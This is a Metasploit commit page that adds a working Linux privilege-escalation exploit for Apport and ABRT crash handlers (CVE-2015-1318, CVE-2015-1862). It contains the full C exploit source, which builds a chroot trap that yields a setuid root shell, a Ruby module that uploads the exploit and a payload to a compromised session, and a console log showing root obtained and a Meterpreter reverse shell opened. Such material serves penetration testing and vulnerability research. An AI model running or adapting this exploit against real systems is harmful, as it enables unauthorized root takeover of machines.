Land #9399 a linux priv esc against apport and abrt
This commit is contained in:
commit
7cb0a118c1
Binary file not shown.
|
@ -0,0 +1,143 @@
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <linux/sched.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
//
|
||||||
|
// Apport/Abrt Vulnerability Demo Exploit.
|
||||||
|
//
|
||||||
|
// Apport: CVE-2015-1318
|
||||||
|
// Abrt: CVE-2015-1862
|
||||||
|
//
|
||||||
|
// -- taviso@cmpxchg8b.com, April 2015.
|
||||||
|
//
|
||||||
|
// $ gcc -static newpid.c
|
||||||
|
// $ ./a.out
|
||||||
|
// uid=0(root) gid=0(root) groups=0(root)
|
||||||
|
// sh-4.3# exit
|
||||||
|
// exit
|
||||||
|
//
|
||||||
|
// Hint: To get libc.a,
|
||||||
|
// yum install glibc-static or apt-get install libc6-dev
|
||||||
|
//
|
||||||
|
|
||||||
|
//
|
||||||
|
// Modified for Metasploit. Original exploit:
|
||||||
|
// - https://www.exploit-db.com/exploits/36746/
|
||||||
|
//
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int status;
|
||||||
|
pid_t wrapper;
|
||||||
|
pid_t init;
|
||||||
|
pid_t subprocess;
|
||||||
|
unsigned i;
|
||||||
|
|
||||||
|
// If we're root, then we've convinced the core handler to run us,
|
||||||
|
// so create a setuid root executable that can be used outside the chroot.
|
||||||
|
if (getuid() == 0) {
|
||||||
|
if (chown("sh", 0, 0) != 0)
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
|
||||||
|
if (chmod("sh", 04755) != 0)
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||||
|
// a shell and cleanup.
|
||||||
|
if (setuid(0) == 0) {
|
||||||
|
system("id");
|
||||||
|
system("rm -rf exploit");
|
||||||
|
execlp("sh", "sh", NULL);
|
||||||
|
|
||||||
|
// Something went wrong.
|
||||||
|
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||||
|
}
|
||||||
|
|
||||||
|
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||||
|
if (mkdir("exploit", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/share", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||||
|
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create links to the exploit locations we need.
|
||||||
|
if (link(*argv, "exploit/sh") != 0
|
||||||
|
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||||
|
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||||
|
err(EXIT_FAILURE, "failed to create required hard links");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a subprocess so we don't enter the new namespace.
|
||||||
|
if ((wrapper = fork()) == 0) {
|
||||||
|
|
||||||
|
// In the child process, create a new pid and user ns. The pid
|
||||||
|
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||||
|
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||||
|
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||||
|
err(EXIT_FAILURE, "failed to create new namespace");
|
||||||
|
|
||||||
|
// Create a process in the new namespace.
|
||||||
|
if ((init = fork()) == 0) {
|
||||||
|
|
||||||
|
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||||
|
// handle the traps.
|
||||||
|
if ((subprocess = fork()) == 0) {
|
||||||
|
// Change /proc/self/root, which we can do as we're privileged
|
||||||
|
// within the new namepace.
|
||||||
|
if (chroot("exploit") != 0) {
|
||||||
|
err(EXIT_FAILURE, "chroot didnt work");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now trap to get the core handler invoked.
|
||||||
|
__builtin_trap();
|
||||||
|
|
||||||
|
// Shouldn't happen, unless user is ptracing us or something.
|
||||||
|
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||||
|
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||||
|
return WIFSIGNALED(status)
|
||||||
|
? EXIT_SUCCESS
|
||||||
|
: EXIT_FAILURE;
|
||||||
|
|
||||||
|
// Something didn't work.
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The new namespace didn't work.
|
||||||
|
if (waitpid(init, &status, 0) == init)
|
||||||
|
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||||
|
? EXIT_SUCCESS
|
||||||
|
: EXIT_FAILURE;
|
||||||
|
|
||||||
|
// Waitpid failure.
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the subprocess returned sccess, the exploit probably worked,
|
||||||
|
// reload with euid zero.
|
||||||
|
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||||
|
// All done, spawn root shell.
|
||||||
|
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||||
|
execl(*argv, "w00t", NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unknown error.
|
||||||
|
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||||
|
}
|
|
@ -0,0 +1,73 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.
|
||||||
|
|
||||||
|
Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. Fedora's crash handler was reportedly configured to chroot ABRT by default between April and August 2014.
|
||||||
|
|
||||||
|
In both instances, the crash handler does not drop privileges, resulting in code execution as root.
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
* Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
|
||||||
|
* ABRT on Fedora 19 and 20 x86_64
|
||||||
|
|
||||||
|
To test Fedora 20, disable SELinux, reboot, and modify `/proc/sys/kernel/core_pattern` to make use of the vulnerable `core_pattern` : `|/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e`
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get a session
|
||||||
|
3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
|
||||||
|
4. Do: `set SESSION [SESSION]`
|
||||||
|
5. Do: `check`
|
||||||
|
6. Do: `run`
|
||||||
|
7. You should get a new root session
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**SESSION**
|
||||||
|
|
||||||
|
Which session to use, which can be viewed with `sessions`
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A writable directory file system path. (default: `/tmp`)
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
|
||||||
|
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run
|
||||||
|
|
||||||
|
[!] SESSION may not be compatible with this module.
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.244:4444
|
||||||
|
[*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
|
||||||
|
[*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
|
||||||
|
[*] Launching exploit...
|
||||||
|
[+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
|
||||||
|
[*] Sending stage (857352 bytes) to 172.16.191.252
|
||||||
|
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
|
||||||
|
[+] Deleted /tmp/.drY6cJZ
|
||||||
|
[+] Deleted /tmp/.LtJvrgjXq
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=1000, euid=0, egid=1000
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 172.16.191.252
|
||||||
|
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
|
||||||
|
Architecture : x64
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,185 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apport / ABRT chroot Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to gain root privileges on Linux systems by
|
||||||
|
invoking the default coredump handler inside a namespace ("container").
|
||||||
|
|
||||||
|
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
|
||||||
|
vulnerable, due to a feature which allows forwarding reports to
|
||||||
|
a container's Apport by changing the root directory before loading
|
||||||
|
the crash report, causing 'usr/share/apport/apport' within the crashed
|
||||||
|
task's directory to be executed.
|
||||||
|
|
||||||
|
Similarly, Fedora is vulnerable when the kernel crash handler is
|
||||||
|
configured to change root directory before executing ABRT, causing
|
||||||
|
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
|
||||||
|
executed.
|
||||||
|
|
||||||
|
In both instances, the crash handler does not drop privileges,
|
||||||
|
resulting in code execution as root.
|
||||||
|
|
||||||
|
This module has been tested successfully on Apport 2.14.1 on
|
||||||
|
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Stéphane Graber', # Independent discovery, PoC and patch
|
||||||
|
'Tavis Ormandy', # Independent discovery and C exploit
|
||||||
|
'Ricardo F. Teixeira', # shell exploit
|
||||||
|
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 31 2015',
|
||||||
|
'Platform' => [ 'linux' ],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'Targets' => [[ 'Auto', {} ]],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2015-1318' ],
|
||||||
|
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
|
||||||
|
# Exploits
|
||||||
|
[ 'EDB', '36782' ],
|
||||||
|
[ 'EDB', '36746' ],
|
||||||
|
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
|
||||||
|
# ABRT (Fedora)
|
||||||
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
|
||||||
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
|
||||||
|
# Apport (Ubuntu)
|
||||||
|
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
|
||||||
|
[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
|
||||||
|
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
|
||||||
|
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir']
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first
|
||||||
|
|
||||||
|
if kernel_version < Gem::Version.new('3.12')
|
||||||
|
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
|
||||||
|
|
||||||
|
kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'
|
||||||
|
|
||||||
|
# Vulnerable core_pattern (abrt):
|
||||||
|
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
|
||||||
|
# Patched systems no longer preface the command with /usr/sbin/chroot
|
||||||
|
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
|
||||||
|
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
|
||||||
|
vprint_good 'System is configured to chroot ABRT for crash reporting'
|
||||||
|
return CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
# Vulnerable core_pattern (apport):
|
||||||
|
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
|
||||||
|
if kernel_core_pattern.include? 'apport'
|
||||||
|
vprint_good 'System is configured to use Apport for crash reporting'
|
||||||
|
|
||||||
|
res = cmd_exec 'apport-cli --version'
|
||||||
|
|
||||||
|
if res.blank?
|
||||||
|
vprint_error 'Apport is NOT installed'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
apport_version = Gem::Version.new(res.split('-').first)
|
||||||
|
|
||||||
|
if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
|
||||||
|
vprint_good "Apport version #{apport_version} is vulnerable"
|
||||||
|
return CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_error "Apport version #{apport_version} is NOT vulnerable"
|
||||||
|
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmodx(path, data)
|
||||||
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||||
|
rm_f path
|
||||||
|
write_file path, data
|
||||||
|
cmd_exec "chmod +x '#{path}'"
|
||||||
|
register_file_for_cleanup path
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if check != CheckCode::Vulnerable
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
# Upload Tavis Ormandy's newpid exploit:
|
||||||
|
# - https://www.exploit-db.com/exploits/36746/
|
||||||
|
# Cross-compiled with:
|
||||||
|
# - i486-linux-musl-cc -static newpid.c
|
||||||
|
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
|
||||||
|
fd = ::File.open path, 'rb'
|
||||||
|
executable_data = fd.read fd.stat.size
|
||||||
|
fd.close
|
||||||
|
|
||||||
|
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
executable_path = "#{base_dir}/#{executable_name}"
|
||||||
|
upload_and_chmodx executable_path, executable_data
|
||||||
|
|
||||||
|
# Upload payload executable
|
||||||
|
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
payload_path = "#{base_dir}/#{payload_name}"
|
||||||
|
upload_and_chmodx payload_path, generate_payload_exe
|
||||||
|
|
||||||
|
# newpid writes an 'exploit' directory
|
||||||
|
# which must be removed manually if exploitation fails
|
||||||
|
register_dir_for_cleanup "#{base_dir}/exploit"
|
||||||
|
|
||||||
|
# Change working directory to base_dir,
|
||||||
|
# allowing newpid to create the required hard links
|
||||||
|
cmd_exec "cd '#{base_dir}'"
|
||||||
|
|
||||||
|
print_status 'Launching exploit...'
|
||||||
|
output = cmd_exec executable_path
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
|
||||||
|
# Check for root privileges
|
||||||
|
id = cmd_exec 'id'
|
||||||
|
|
||||||
|
unless id.include? 'root'
|
||||||
|
fail_with Failure::Unknown, 'Failed to gain root privileges'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good 'Upgraded session to root privileges'
|
||||||
|
vprint_line id
|
||||||
|
|
||||||
|
# Execute payload executable
|
||||||
|
vprint_status 'Executing payload...'
|
||||||
|
cmd_exec payload_path
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue